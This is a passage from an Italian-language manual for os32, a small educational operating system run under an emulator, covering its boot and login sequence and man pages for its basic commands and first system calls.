Hex mem map, blocks of 1000: 0-28f 2bc-332 51e-559
aabaab_
```

Con il comando '**`x`**' il ciclo termina e il kernel avvia '`/bin/init`', ma prima di farlo occorre che non ci siano altri processi in funzione, perché '**`init`**' deve assumere il ruolo di processo 1, ovvero il primo dopo il kernel.

Figura 110.4. Aspetto di os32 in funzione con il menù in evidenza, dopo aver dato il comando '**x**' per avviare '**init**'.

```
os32 build 20AAMMGGHHmm ram 130048 Kibyte
[ata_init] ATA drive 0 size 16 Kib
[ata_init] ATA drive 1 size 16 Kib
.------------------------------------------------------------------.
| h    show this menu                                 .--------------.|
| t    show internal timer values                     | all commands ||
| f    fork the kernel                                | followed by  ||
| m    memory map (HEX)                               | [Enter]      ||
| p    process status list                            '--------------'|
| s    super block list                                               |
| n    list of active inodes                                          |
| 1..9 kill process  1 to 9                                           |
| A..F kill process 10 to 15                                          |
| a..c run programs '/bin/aaa' to '/bin/ccc' in parallel              |
| x    exit interaction with kernel and start '/bin/init'             |
| q    quit kernel                                                    |
'------------------------------------------------------------------'
x
init
os32: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
This is terminal /dev/console0
Log in as "root" or "user" with password "ciao" :-)
login:
```

110.2 Avvio e conclusione del sistema «normale»

Se non si intende operare direttamente con il kernel, come descritto nella sezione precedente, con il comando '**x**' si avvia '**init**'.

Il programma '**init**' legge il file '/etc/inittab' e sulla base del suo contenuto, avvia uno o più processi '**getty**', per la gestione dei vari terminali disponibili (si tratta comunque soltanto di console virtuali).

Il programma '**getty**' apre il terminale che gli viene indicato come opzione della chiamata (da '**init**' che lo determina in base al contenuto di '/etc/inittab'), facendo in modo che sia associato al descrittore zero (standard input). Quindi, dopo aver visualizzato il contenuto del file '/etc/issue', mostra un proprio messaggio e avvia il programma '**login**'.

Il programma '**login**' prende il posto di '**getty**' che così scompare dall'elenco dei processi. '**login**' procede chiedendo all'utente di identificarsi, utilizzando il file '/etc/passwd' per verificare le credenziali di accesso. Se l'identificazione ha successo, viene avviata la shell definita nel file '/etc/passwd' per l'utente, in modo da sostituirsi al programma '**login**', il quale scompare a sua volta dall'elenco dei processi.

Attraverso la shell è possibile interagire con il sistema operativo, secondo la modalità «normale», nei limiti delle possibilità di os32. Quando la shell termina di funzionare, '**init**' riavvia '**getty**'.

Per cambiare console virtuale si possono usare le combinazioni [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*], ma bisogna considerare che dipende dalla configurazione del file '/etc/inittab' se effettivamente vengono attivate tutte queste console.

Per concludere l'attività del sistema, basta concludere il funzionamento delle varie sessioni di lavoro (la shell finisce di funzionare con il comando interno '**exit**') e non c'è bisogno di altro;

pertanto, non è previsto l'uso di comandi come '**`halt`**' o '**`shutdown`**' e, d'altro canto, le operazioni di scrittura nel file system sono sincrone, in modo tale da non richiedere accorgimenti particolari per la chiusura delle attività.

Riquadro 110.5. Coerenza del file system.

os32 è destinato a essere usato attraverso un emulatore, dove gli unici due dischi previsti sono semplicemente dei file. Pertanto, la manutenzione del file system, avviene all'esterno di os32, di norma con un sistema GNU/Linux. Tuttavia, occorre tenere presente che quando si usa il sistema os32, tramite l'emulatore, i file-immagine dei dischi di os32 non devono essere innestati nel sistema operativo ospitante, perché altrimenti le operazioni di scrittura eseguite da os32 potrebbero essere annullate, anche solo parzialmente, dalla gestione del sistema ospitante, rendendo il file system incoerente.

Capitolo 111

Sezione 1: programmi eseguibili o comandi interni di shell

111.1 os32: aaa(1)

NOME

'**aaa**', '**bbb**', '**ccc**' - programmi elementari avviabili direttamente dal kernel

SINTASSI

```
aaa
```

```
bbb
```

```
ccc
```

DESCRIZIONE

'**aaa**' e '**bbb**' si limitano a visualizzare una lettera, rispettivamente «a» e «b», attraverso lo standard output, a intervalli regolari. Precisamente, '**aaa**' lo fa a intervalli di un secondo, mentre '**bbb**' a intervalli di due secondi. Il lavoro di '**aaa**' e di '**bbb**' si conclude dopo l'emissione, rispettivamente, di 60 e 30 caratteri, pertanto nel giro di un minuto di tempo si esaurisce il loro compito.

Il programma '**ccc**' è diverso, ma nasce per lo stesso scopo: controllare la gestione dei processi di os32. Questo programma si limita ad avviare, '**aaa**' e '**bbb**', come propri processi-figli, rimanendo in funzione, senza fare nulla. Pertanto, se si usa '**ccc**', il suo processo deve essere eliminato in modo esplicito, perché da solo non si concluderebbe mai.

Questi programmi sono indicati soprattutto per l'uso di os32 nella modalità interattiva che precede il funzionamento normale del sistema operativo, per la verifica della gestione dei processi.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/aaa.c' [121.1.2]

'applic/bbb.c' [121.1.4]

'applic/ccc.c' [121.1.6]

111.2 os32: allocated(1)

NOME

'**allocated**' - mappa della memoria allocata

SINTASSI

```
allocated
```

DESCRIZIONE

Il programma '**allocated**' si limita a leggere dal file di dispositivo '/dev/kmem_map', producendo un elenco delle zone di memoria continue già in uso.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/allocated.c' [121.1.3]

VEDERE ANCHE

mmcheck(1) [111.18].

111.3 os32: bbb(1)

Vedere *aaa(1)* [111.1].

111.4 os32: cat(1)

NOME

'**cat**' - emissione del contenuto di uno o più file attraverso lo standard output

SINTASSI

```
cat [file]...
```

DESCRIZIONE

'**cat**' legge il contenuto dei file indicati come argomento e li emette attraverso lo standard output, concatenati assieme in un unico flusso.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/cat.c' [121.1.5]

VEDERE ANCHE

more(1) [111.19], *ed(1)* [111.11].

111.5 os32: ccc(1)

Vedere *aaa(1)* [111.1].

111.6 os32: chgrp(1)

NOME

'**chgrp**' - cambiamento del gruppo proprietario di un file

SINTASSI

```
chgrp nome_gruppo file...
```

```
chgrp gid file...
```

DESCRIZIONE

'**chgrp**' cambia l'utente proprietario dei file indicati. Il nuovo proprietario da attribuire può essere indicato per nome o per numero.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/chgrp.c' [121.1.7]

VEDERE ANCHE

chgrp(1) [111.8].

chmod(1) [111.7].

111.7 os32: chmod(1)

NOME

'**chmod**' - cambiamento della modalità dei permessi dei file

SINTASSI

```
chmod mod_ottale file...
```

DESCRIZIONE

'**chmod**' cambia la modalità dei permessi associati ai file indicati, in base al numero ottale indicato come primo argomento.

NOTE

Questa versione di '**chmod**' non permette di indicare la modalità dei permessi in forma simbolica.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/chmod.c' [121.1.8]

VEDERE ANCHE

chown(1) [111.8].

111.8 os32: chown(1)

NOME

'**chown**' - cambiamento del proprietario di un file

SINTASSI

```
chown nome_utente file...
```

```
chown uid file...
```

DESCRIZIONE

'**chown**' cambia l'utente proprietario dei file indicati. Il nuovo proprietario da attribuire può essere indicato per nome o per numero.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/chown.c' [121.1.9]

VEDERE ANCHE

chgrp(1) [111.6].

chmod(1) [111.7].

111.9 os32: cp(1)

NOME

'**cp**' - copia dei file

SINTASSI

```
cp file_orig file_nuovo...
```

```
cp file... directory_dest...
```

DESCRIZIONE

'**cp**' copia uno o più file. Se l'ultimo argomento è costituito da una directory esistente, la copia produce dei file con lo stesso nome degli originali, all'interno della directory; se l'ultimo argomento non è una directory già esistente, ci può essere un solo file da copiare, intendendo che si voglia creare una copia con quel nome specificato.

DIFETTI

Non è possibile copiare oggetti diversi dai file puri e semplici; quindi, la copia ricorsiva di una directory non è ammissibile.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/cp.c' [121.1.10]

VEDERE ANCHE

touch(1) [111.24], *mkdir(1)* [111.17].

111.10 os32: date(1)

NOME

'**date**' - visualizzazione o impostazione della data e dell'ora di sistema

SINTASSI

```
date [MMGGhhmm[[SS]AA]]
```

DESCRIZIONE

Se si utilizza il programma '**date**' senza argomenti, si ottiene la visualizzazione della data e dell'ora attuale del sistema operativo. Se si indica una sequenza numerica come argomento, si intende invece impostare la data e l'ora del sistema. In tal caso va indicato un numero preciso di cifre, che può essere di otto, dieci o dodici. Se si immettono otto cifre, si sta specificando il mese, il giorno, l'ora e i minuti dell'anno attuale; se si indicano dieci cifre, le ultime due rappresentano l'anno del secolo attuale; se si immettono dodici cifre, l'anno è indicato per esteso nelle ultime quattro cifre.

ESEMPI

`# date 123123592010` [*Invio*]

Imposta la data di sistema al giorno 31 dicembre 2010, alle ore 23:59.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/date.c`' [121.1.13]

VEDERE ANCHE

time(2) [112.49], *stime(2)* [112.49].

111.11 os32: ed(1)

NOME

'**`ed`**' - creazione e modifica di file di testo

SINTASSI

```
ed
```

DESCRIZIONE

'**`ed`**' è un programma di creazione e modifica di file di testo che consente di operare su una riga alla volta.

'**`ed`**' opera in due modalità di funzionamento: comando e inserimento. All'avvio, '**`ed`**' si trova in modalità di comando, durante la quale ciò che si inserisce attraverso lo standard input viene interpretato come un comando da eseguire. Per esempio, il comando '**`1i`**' richiede di passare alla modalità di inserimento, immettendo delle righe a partire dalla prima posizione, spostando quelle presenti in basso. Quando ci si trova in modalità di inserimento, per poter passare alla modalità di comando si introduce un punto isolato, all'inizio di una nuova riga.

Per il momento, in questa pagina di manuale, si omette la descrizione completa dell'utilizzo di '**`ed`**'.

DIFETTI

Il file che si intende elaborare con '**`ed`**' viene caricato o creato completamente nella memoria centrale. Dal momento che os32 consente a ogni processo di gestire una quantità limitata di memoria, si può lavorare soltanto con file di dimensioni ridotte.

AUTORI

Questa edizione di '**`ed`**' è stata scritta originariamente da David I. Bell, per '**`sash`**' (una shell che include varie funzionalità, da compilare in modo statico). Successivamente, il codice è stato estrapolato da '**`sash`**' e reso indipendente, per gli scopi del sistema operativo ELKS (una versione a 16 bit di Linux). Dalla versione estratta per ELKS è stata ottenuta quella di os16, con delle modifiche apportate da Daniele Giacomini, tra cui risulta particolarmente evidente il cambiamento dello stile di impaginazione del codice. Dalla versione per os16 è stata ottenuta quella per os32, senza ulteriori modifiche.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/ed.c`' [121.1.14]

VEDERE ANCHE

shell(1) [111.22].

111.12 os32: kill(1)

NOME

'**`kill`**' - invio di un segnale ai processi

SINTASSI

```
kill -s nome_segnale pid...
```

```
kill -l
```

DESCRIZIONE

Il programma '**`kill`**' consente di inviare un segnale, indicato per nome, a uno o più processi, specificati per numero.

OPZIONI

Opzione	Descrizione
`-l`	Mostra l'elenco dei nomi dei segnali disponibili.
`-s` ***nome_segnale***	Specifica il nome del segnale da inviare ai processi.

NOTE

Non è possibile indicare il segnale per numero, perché lo standard definisce i nomi di un insieme di segnali necessari, ma non stabilisce il numero, il quale può essere attribuito liberamente in fase realizzativa.

DIFETTI

os32 non consente ai processi di attribuire azioni alternative ai segnali; pertanto, si possono ottenere solo quelle predefinite. Tutto quello che si può fare è, eventualmente, bloccare i segnali, esclusi però quelli che non sono mascherabili per loro natura.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/kill.c`' [121.1.17]

VEDERE ANCHE

kill(2) [112.25], *signal(2)* [112.43].

111.13 os32: ln(1)

NOME

'`ln`' - collegamento dei file

SINTASSI

```
ln file_orig file_nuovo...
```

```
ln file... directory_dest...
```

DESCRIZIONE

'`ln`' crea il collegamento fisico di uno o più file. Se l'ultimo argomento è costituito da una directory esistente, si producono collegamenti con gli stessi nomi degli originali, all'interno della directory; se l'ultimo argomento non è una directory già esistente, ci può essere un solo file da collegare, intendendo che si voglia creare un collegamento con quel nome specificato.

Essendo disponibile soltanto la creazione di collegamenti fisici, questi collegamenti possono essere collocati soltanto all'interno del file system di quelli originali, senza contare eventuali innesti ulteriori.

DIFETTI

Non è possibile creare dei collegamenti simbolici, perché os32 non sa gestirli.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/ln.c`' [121.1.18]

VEDERE ANCHE

cp(1) [111.9], *link(2)* [112.26].

111.14 os32: login(1)

NOME

'`login`' - inizio di una sessione presso un terminale

SINTASSI

```
login
```

DESCRIZIONE

'**login**' richiede l'inserimento di un nominativo-utente e di una parola d'ordine. Questa coppia viene verificata consultando il file '/etc/passwd' e se coincide: vengono cambiati i permessi e la proprietà del file di dispositivo del terminale di controllo; viene cambiata la directory corrente in modo da farla coincidere con la directory personale dell'utente; viene avviata la shell, indicata sempre nel file '/etc/passwd' per quel tale utente, con i privilegi di questo. La shell, avviata così, va a rimpiazzare il processo di '**login**'.

Il programma '**login**' è fatto per essere avviato da '**getty**', non avendo altri utilizzi pratici.

FILE

File	Descrizione
'/etc/passwd'	Contiene l'elenco degli utenti, con l'associazione al numero UID, alla parola d'ordine necessaria per accedere, alla shell dell'utente. Le altre informazioni eventuali contenute nel file, non sono usate da '**login**'.

FILE SORGENTI

'applic/crt0.mer.s' [121.1.11]

'applic/crt0.sep.s' [121.1.12]

'applic/login.c' [121.1.19]

VEDERE ANCHE

getty(8) [117.1], *console(4)* [114.1].

111.15 os32: ls(1)

NOME

'**ls**' - elenco del contenuto delle directory

SINTASSI

```
ls [opzioni] [file]...
```

DESCRIZIONE

'**ls**' elenca i file e le directory indicati come argomenti della chiamata. Se non vengono indicati file o directory da visualizzare, si ottiene l'elenco del contenuto della directory corrente; inoltre, questa realizzazione particolare di '**ls**', se si indica come argomento solo una directory, ne mostra il contenuto, altrimenti, se gli argomenti sono più di uno, mostra solo i nomi richiesti, eventualmente con le rispettive caratteristiche se è stata usata l'opzione '**-l**'.

OPZIONI

Opzione	Descrizione
`-a`	Quando si richiede di mostrare il contenuto di una directory (quella corrente o quella specificata espressamente come primo e unico argomento), con questa opzione si ottiene la visualizzazione anche dei nomi che iniziano con un punto, inclusi '`.`' e '`..`'.
`-l`	Con questa opzione si ottiene la visualizzazione di più informazioni sui file e sulle directory elencati.

NOTE

Dal momento che os32 non considera i gruppi, quando si usa l'opzione '**`-l`**', il nome del gruppo a cui appartiene un file o una directory, non viene visualizzato.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/ls.c`' [121.1.20]

111.16 os32: man(1)

NOME

'**`man`**' - visualizzazione delle pagine di manuale

SINTASSI

```
man [sezione] pagina
```

DESCRIZIONE

'**`man`**' visualizza la pagina di manuale indicata come argomento, consentendone lo scorrimento in avanti. La «pagina» viene cercata tra le sezioni, a partire dalla prima. In caso di omonimie tra sezioni differenti, si può specificare il numero della sezione prima del nome della pagina.

Le pagine di manuale di os32 sono semplicemente dei file di testo, collocati nella directory '`/usr/share/man/`', con nomi del tipo '***pagina*.*n***', dove ***n*** è il numero della sezione.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/man.c`' [121.1.21]

VEDERE ANCHE

cat(1) [111.4].

111.17 os32: mkdir(1)

NOME

'**`mkdir`**' - creazione di directory

SINTASSI

```
mkdir [-p] [-m mod_ottale] [directory]...
```

DESCRIZIONE

'**`mkdir`**' crea una o più directory, corrispondenti ai nomi che costituiscono gli argomenti.

OPZIONI

Opzione	Descrizione
`-p`	Se la directory che si vuole creare, può richiedere prima la creazione di altre directory, con questa opzione (*parents*) si generano tutte le directory genitrici necessarie, purché quei nomi non siano già usati per dei file.
`-m` ***mod_ottale***	Quando si crea una directory, senza specificare questa opzione, si ottengono i permessi 0777_8 meno quanto contenuto nella maschera di creazione dei file e delle directory. Con l'opzione '**`-m`**' si vanno invece a specificare i permessi desiderati in modo esplicito.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/mkdir.c`' [121.1.22]

VEDERE ANCHE

mkdir(2) [112.29], *rmdir(2)* [112.35].

111.18 os32: mmcheck(1)

NOME

'**`mmcheck`**' - verifica della coerenza tra processi e mappa della memoria allocata

SINTASSI

```
mmcheck
```

DESCRIZIONE

Il programma '**`mmcheck`**' si limita a leggere dai file di dispositivo '`/dev/kmem_map`' e '`/dev/kmem_ps`', per verificare che le informazioni sull'allocazione della memoria relative ai processi in corso siano coerenti con la mappa effettiva.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/mmcheck.c`' [121.1.23]

VEDERE ANCHE

allocated(1) [111.2].

111.19 os32: more(1)

NOME

'**`more`**' - visualizzazione di file sullo schermo, permettendo il controllo dello scorrimento dei dati, ma in un solo verso

SINTASSI

```
more file...
```

DESCRIZIONE

'**`more`**' visualizza i file indicati come argomenti della chiamata, sospendendo lo scorrimento del testo dopo alcune righe, consentendo all'utente di decidere come proseguire.

COMANDI

Quando '**`more`**' sospende lo scorrimento del testo, è possibile introdurre un comando, composto da un solo carattere seguito da [*Invio*], tenendo conto che ciò che non è previsto fa comunque proseguire lo scorrimento:

Comando	Descrizione
`n`	si richiede di saltare al file successivo, ammesso che ce ne sia un altro;
`q`	si richiede di interrompere lo scorrimento e di concludere il funzionamento del programma;
`Spazio`	si richiede di proseguire nella visualizzazione progressiva dei file.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/more.c`' [121.1.24]

VEDERE ANCHE

cat(1) [111.4].

111.20 os32: ps(1)

NOME

'**ps**' - visualizzazione dello stato dei processi elaborativi

SINTASSI

```
ps [-u|-g]
```

DESCRIZIONE

'**ps**' visualizza l'elenco dei processi, con le informazioni disponibili sul loro stato. L'elenco è provvisto di un'intestazione, come si vede nell'esempio seguente:

```
pp  p pg                              T * 0x1000 D * 0x1000 stack
id id rp  tty  uid euid suid usage s addr  size addr  size usage    name
 0  0  0 0000    0    0    0 00.02 r 00000 028e 00000 0000    0% os32 kernel
 0  1  0 0000    0    0    0 00.00 s 0051e 003a 00000 0000    9% /bin/init
 1  2  2 0500 1001 1001 1001 00.00 s 0033d 003a 00000 0000   26% /bin/shell
 1  3  3 0501    0    0    0 00.00 s 0028f 003a 00000 0000   36% /bin/login
 1  4  4 0502    0    0    0 00.00 s 002c9 003a 00000 0000   36% /bin/login
 1  5  5 0503    0    0    0 00.00 s 00303 003a 00000 0000   36% /bin/login
 2  6  2 0500 1001 1001 1001 00.00 R 003b1 003a 00000 0000   20% /bin/ps
```

La prima colonna, con la sigla «ppid», ovvero *parent pid*, riporta il numero del processo genitore; la seconda, con la sigla «pid», *process id*, indica il numero del processo preso in considerazione; la terza, con la sigla «pgrp», *process group*, indica il gruppo a cui appartiene il processo; la quarta colonna, «tty», indica il terminale associato, ammesso che ci sia, come numero di dispositivo, ma in base sedici. Le colonne «uid», «euid» e «suid», riguardano l'identità dell'utente, per conto del quale sono in funzione i processi, rappresentando, nell'ordine, l'identità reale (*real user id*), quella efficace (*effective user id*) e quella salvata precedentemente (*saved user id*).

La colonna «usage» indica il tempo di utilizzo della CPU; la colonna «s» indica lo stato del processo, il cui significato può essere interpretato con l'aiuto della tabella successiva:

Lettera	Significato	Descrizione
R	*running*	in corso di esecuzione
r	*ready*	pronto per essere messo in esecuzione
s	*sleeping*	in attesa
z	*zombie*	terminato e non più in memoria, per il quale si attende di passare lo stato di uscita al processo genitore.

Le prime due colonne «addr» e «size» indicano l'indirizzo iniziale e l'estensione dell'area codice del processo, in memoria (*text*); le altre due successive indicano l'indirizzo iniziale e l'estensione dell'area dati del processo, in memoria (*data*). Gli indirizzi e le dimensioni delle aree di memoria utilizzate appaiono divisi per 1000_{16}, ovvero sono multipli di 4096 byte. La colonna «stack usage» indica la percentuale di utilizzo dello spazio attribuito alla pila dei dati (*stack pointer*).

L'ultima colonna indica il nome del programma, assieme al suo percorso, con il quale il processo è stato avviato.

OPZIONI

Opzione	Descrizione
`-u`	Nell'elenco mostra i numeri UID relativi al processo. Questa opzione è predefinita.
`-g`	Nell'elenco, al posto dei numeri UID, mostra i numeri GID.

NOTE

L'elenco dei processi include anche il kernel, il quale occupa correttamente la prima posizione (processo zero).

FILE

'**ps**' trae le informazioni sullo stato dei processi da un file di dispositivo speciale: '`/dev/kmem_ps`'.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/ps.c`' [121.1.26]

111.21 os32: rm(1)

NOME

'**rm**' - cancellazione di file

SINTASSI

```
rm file...
```

DESCRIZIONE

'**rm**' consente di cancellare i file indicati come argomento.

DIFETTI

Non è possibile eseguire la cancellazione ricorsiva di una directory.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/rm.c`' [121.1.27]

VEDERE ANCHE

unlink(2) [112.52].

111.22 os32: shell(1)

NOME

'**`shell`**' - interprete dei comandi

SINTASSI

```
shell
```

DESCRIZIONE

'**`shell`**' è l'interprete dei comandi di os32. Di norma viene avviato da '**`login`**', in base alla configurazione contenuta nel file '`/etc/passwd`'.

'**`shell`**' interpreta i comandi inseriti; se si tratta di un comando interno lo esegue direttamente, altrimenti cerca e avvia un programma con il nome corrispondente, rimanendo in attesa fino alla conclusione del processo relativo, per riprendere poi il controllo.

DIFETTI

L'interpretazione della riga di comando è letterale, pertanto non c'è alcuna espansione di caratteri speciali, variabili di ambiente o altro; inoltre, non è possibile eseguire script.

A volte, quando un processo avviato da '**`shell`**' termina di funzionare, il processo di '**`shell`**' non viene risvegliato correttamente, rendendo inutilizzabile il terminale. Per ovviare all'inconveniente, si può premere la combinazione [*Ctrl c*], con la quale viene inviato il segnale '**`SIGINT`**' a tutti i processi del gruppo associato al terminale.

Anche il fatto che un segnale generato con una combinazione di tasti si trasmetta a tutti i processi del gruppo associato al terminale è un'anomalia, tuttavia fa parte delle particolarità dovute alla semplificazione di os32.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/shell.c`' [121.1.28]

VEDERE ANCHE

input_line(3) [113.63].

111.23 os32: t_(1)

NOME

'**`t_`**...' - programmi di prova

DESCRIZIONE

I programmi con prefisso '**`t_`**...' sono delle prove per verificare alcune funzionalità di os32.

111.24 os32: touch(1)

NOME

'**touch**' - creazione di un file vuoto oppure aggiornamento della data di modifica

SINTASSI

```
touch file...
```

DESCRIZIONE

'**touch**' crea dei file vuoti, se quelli indicati come argomento non sono esistenti; altrimenti, aggiorna le date di accesso e di modifica, sulla base dello stato dell'orologio di sistema.

DIFETTI

Non è possibile attribuire una data arbitraria; inoltre, a causa della limitazione del tipo di file system utilizzato, non è possibile distinguere tra date di accesso e modifica dei file.

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/touch.c`' [121.1.37]

111.25 os32: tty(1)

NOME

'**tty**' - nome del file di dispositivo del terminale associato allo standard input

SINTASSI

```
tty
```

DESCRIZIONE

Il programma '**tty**' individua il dispositivo del terminale associato allo standard input e lo traduce in un percorso che descrive il file di dispositivo corrispondente (ovvero il file di dispositivo che dovrebbe corrispondergli)

FILE SORGENTI

'`applic/crt0.mer.s`' [121.1.11]

'`applic/crt0.sep.s`' [121.1.12]

'`applic/tty.c`' [121.1.38]

111.26 os32: yes(1)

NOME

‘**`yes`**’ - visualizzazione ripetuta di un testo

SINTASSI

```
yes [testo]
```

DESCRIZIONE

Il programma ‘**`yes`**’ emette sullo schermo, all’infinito, il contenuto del testo fornito come argomento, oppure la lettera ‘**`y`**’. In tutti i casi, il testo o la lettera sono seguiti dal codice di interruzione di riga (*new line*).

FILE SORGENTI

‘`applic/crt0.mer.s`’ [121.1.11]

‘`applic/crt0.sep.s`’ [121.1.12]

‘`applic/yes.c`’ [121.1.40]

Capitolo 112

Sezione 2: chiamate di sistema

112.1 os32: _Exit(2)

Vedere *_exit(2)* [112.2].

112.2 os32: _exit(2)

NOME

'**_exit**', '**_Exit**' - conclusione del processo chiamante

SINTASSI

```
#include <unistd.h>
void _exit (int status);
```

```
#include <stdlib.h>
void _Exit (int status);
```

DESCRIZIONE

Le funzioni ***_exit()*** e ***_Exit()*** sono equivalenti e servono per concludere il processo chiamante, con un valore pari a quello indicato come argomento (***status***), purché inferiore o uguale 255 (FF_{16}).

La conclusione del processo implica anche la chiusura dei suoi file aperti, e l'affidamento di eventuali processi figli al processo numero uno ('**init**'); inoltre, si ottiene l'invio di un segnale SIGCHLD al processo genitore di quello che viene concluso.

VALORE RESTITUITO

La funzione non può restituire alcunché, dal momento che la sua esecuzione comporta la morte del processo.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/_exit.c`' [120.21.1]

'`lib/stdlib.h`' [120.13]

'`lib/stdlib/_Exit.c`' [120.13.1]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s__exit.c`' [119.8.1]

VEDERE ANCHE

execve(2) [112.11], *fork(2)* [112.16], *kill(2)* [112.25], *wait(2)* [112.53], *atexit(3)* [113.7], *exit(3)* [113.7].

112.3 os32: brk(2)

NOME

'**brk**', '**sbrk**' - modifica della dimensione del segmento dati

SINTASSI

```
#include <unistd.h>
int brk (void *address);
void *sbrk (intptr_t increment);
```

DESCRIZIONE

Le funzione ***brk()*** e ***sbrk()*** permettono di modificare la dimensione del segmento dati del processo, generalmente per aumentarlo. Per os32, l'area di memoria che può essere espansa o contratta, si trova dopo la pila dei dati. L'incremento del segmento dati usato da un processo implica generalmente la copia dello stesso in una nuova posizione.

La funzione ***brk()*** permette di richiedere di fissare la fine del segmento dati in corrispondenza dell'indirizzo fornito come argomento, in qualità di puntatore generico.

La funzione ***sbrk()*** permette di richiedere la modifica del segmento dati specificandone l'incremento e restituendo il valore precedente della fine del segmento dati, in forma di puntatore. In tal modo, la funzione ***sbrk()*** può essere usata anche solo per conoscere la fine attuale del segmento dati, fornendo come argomento un incremento pari a zero.

VALORE RESTITUITO

La funzione ***brk()*** restituisce zero se l'operazione richiesta è completata con successo, diversamente restituisce −1, aggiornando la variabile ***errno***.

La funzione ***sbrk()*** restituisce un puntatore valido, se l'operazione si conclude con successo, diversamente si ottiene l'equivalente del valore −1, tradotto in forma di puntatore generico, con il contestuale aggiornamento della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`ENOMEM`	Memoria insufficiente per completare la richiesta.
`EINVAL`	L'argomento fornito non è valido.

NOTE

Le funzioni ***brk()*** e ***sbrk()*** servono per l'allocazione dinamica della memoria attraverso ***malloc()***, ***free()*** e ***realloc()***. Pertanto, è meglio avvalersi di queste ultime, piuttosto di rischiare di mettere in conflitto le due cose.

FILE SORGENTI

'`lib/unistd.h`' [120.21]

'`lib/unistd/brk.c`' [120.21.3]

'`lib/unistd/sbrk.c`' [120.21.34]

'`lib/sys/os32/sys.s`' [120.15.4]

'`kernel/ibm_i386/isr.s`' [119.6.21]

'`kernel/proc/sysroutine.c`' [119.13.27]

'`kernel/lib_s/s_brk.c`' [119.8.2]

'`kernel/lib_s/s_sbrk.c`' [119.8.25]

VEDERE ANCHE

free(3) [113.71], *malloc(3)* [113.71], *realloc(3)* [113.71].

112.4 os32: chdir(2)

NOME

'**`chdir`**', '**`fchdir`**' - modifica della directory corrente

SINTASSI

```
#include <unistd.h>
int chdir (const char *path);
int chdir (int fdn);
```

DESCRIZIONE

La funzione ***chdir()*** cambia la directory corrente, in modo che quella nuova corrisponda al percorso annotato nella stringa ***path***. La funzione ***fchdir()*** dovrebbe svolgere lo stesso compito, indicando la nuova directory come descrittore già aperto; tuttavia os32 gestisce le directory esclusivamente in forma di percorso.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`EACCES`	Accesso negato.
`ENOTDIR`	Uno dei componenti del percorso non è una directory.
`ENOENT`	Uno dei componenti del percorso non esiste.
`E_NOT_IMPLEMENTED`	La funzione ***fchdir()*** di os32 non può essere realizzata, pertanto risponde con questo errore.

FILE SORGENTI

'lib/unistd.h' [120.21]

'lib/unistd/chdir.c' [120.21.4]

'lib/unistd/fchdir.c' [120.21.16]

'lib/sys/os32/sys.s' [120.15.4]

'kernel/ibm_i386/isr.s' [119.6.21]

'kernel/proc/sysroutine.c' [119.13.27]

'kernel/lib_s/s_chdir.c' [119.8.3]

VEDERE ANCHE

rmdir(2) [112.35], *access(3)* [113.4].

112.5 os32: chmod(2)

NOME

'**chmod**', '**fchmod**' - cambiamento della modalità dei permessi di un file

SINTASSI

```
#include <sys/stat.h>
int chmod  (const char *path, mode_t mode);
int fchmod (int fdn, mode_t mode);
```

DESCRIZIONE

Le funzioni ***chmod()*** e ***fchmod()*** consentono di modificare la modalità dei permessi di accesso di un file. La funzione ***chmod()*** individua il file su cui intervenire attraverso un percorso, ovvero la stringa ***path***; la funzione ***fchmod()***, invece, richiede l'indicazione del numero di un descrittore di file, già aperto. In entrambi i casi, l'ultimo argomento serve a specificare la nuova modalità dei permessi.

Tradizionalmente, i permessi si scrivono attraverso un numero in base otto; in alternativa, si possono usare convenientemente della macro-variabili, dichiarate nel file 'sys/stat.h', combinate assieme con l'operatore binario OR.

